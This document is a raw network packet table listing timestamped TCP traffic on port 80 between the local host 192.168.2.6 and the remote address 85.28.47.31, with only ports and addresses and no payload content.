Jul 26, 2024 10:36:12.681062937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.681065083 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.681130886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.681130886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.681747913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.681760073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.681771040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.681781054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.681792021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.681802988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.681813002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.681819916 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.681819916 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.681824923 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.681838989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.681849003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.681860924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.681870937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.681879044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.681920052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.682620049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.682631969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.682645082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.682656050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.682667017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.682678938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.682689905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.682710886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.682729959 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.682729959 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.682729959 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.682790041 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.683121920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.683134079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.683144093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.683192015 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.683192015 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.741725922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.741981030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.742443085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.742479086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.742512941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.742571115 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.742571115 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.742571115 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.743359089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.743393898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.743426085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.743474007 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.743474007 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.743474007 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.744162083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.744196892 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.744230032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.744242907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.744242907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.744272947 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.744421005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.744466066 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.744775057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.744808912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.744842052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.744852066 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.744875908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.744877100 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.744911909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.744940996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.744940996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.744946003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.744981050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.744992018 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.744992018 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.745037079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.746079922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.746114969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.746146917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.746170044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.746170044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.746181965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.746216059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.746248960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.746270895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.746270895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.746270895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.746284962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.746289968 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.746320009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.746335983 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.746392012 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.748279095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.748313904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.748346090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.748362064 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.748362064 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.748379946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.748403072 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.748413086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.748447895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.748454094 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.748454094 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.748497009 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.748497009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.748533010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.748549938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.748615026 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.748985052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.749037981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.749083996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.749083996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.767870903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.767908096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.767942905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.767976999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.768004894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.768027067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.768035889 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.768079042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.768115044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.768146038 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.768146038 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.768208027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.768235922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.768244028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.768282890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.768282890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.768292904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.768327951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.768362045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.768372059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.768372059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.768395901 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.768429995 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.768435955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.768515110 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.768515110 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.768994093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.769027948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.769054890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.769057989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.769077063 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.769208908 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.777034044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.777071953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.777105093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.777137995 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.777172089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.777198076 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.777198076 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.777205944 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.777241945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.777262926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.777415991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.777415991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.777837992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.777873993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.777906895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.777940989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.777956963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.777956963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.777957916 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.777975082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.778008938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.778019905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.778019905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.778043985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.778075933 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.778079033 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.778107882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.778126955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.778641939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.778711081 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.778763056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.778810024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.778842926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.778855085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.778855085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.778878927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.778929949 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.778929949 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.780792952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.780827999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.780859947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.780875921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.780894041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.780926943 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.780939102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.780939102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.780939102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.780986071 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.781776905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.781810999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.781842947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.781876087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.781891108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.781891108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.781891108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.781908989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.781943083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.781975985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.781991959 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.781991959 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.781991959 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.782008886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.782136917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.782136917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.782522917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.782557011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.782607079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.782623053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.782624006 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.782641888 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.782675028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.782691956 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.782691956 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.782707930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.782741070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.782785892 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.782785892 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.782785892 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.782839060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.782989979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.783971071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.784006119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.784039021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.784043074 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.784056902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.784074068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.784107924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.784111023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.784132957 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.784142971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.784178972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.784190893 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.784190893 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.784275055 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.784332037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.784332037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.784420013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.784454107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.784507036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.784507036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.784509897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.784548044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.784581900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.784611940 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.784611940 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.784802914 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.785474062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.785510063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.785542965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.785567045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.785567045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.785577059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.785593033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.785613060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.785648108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.785676003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.785676003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.785693884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.854321957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.854335070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.854346037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.854357004 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.854370117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.854388952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.854399920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.854409933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.854439974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.854439974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.854465008 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.855287075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.855300903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.855312109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.855323076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.855356932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.855362892 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.855362892 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.855371952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.855384111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.855395079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.855405092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.855417013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.855454922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.855454922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.855501890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.856117964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.856129885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.856139898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.856151104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.856162071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.856173038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.856184006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.856194973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.856200933 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.856209993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.856221914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.856230974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.856252909 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.856273890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.856942892 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.856955051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.856966972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.856977940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.856987953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.856997013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.856997967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.857228994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.857228994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.878633976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.878647089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.878658056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.878669024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.878679991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.878691912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.878705025 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.878771067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.878771067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.879508018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.879519939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.879530907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.879542112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.879551888 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.879564047 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.879574060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.879585028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.879595041 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.879599094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.879610062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.879625082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.879625082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.879678965 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.881273031 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.881284952 CEST	80	49710	85.28.47.31	192.168.2.6
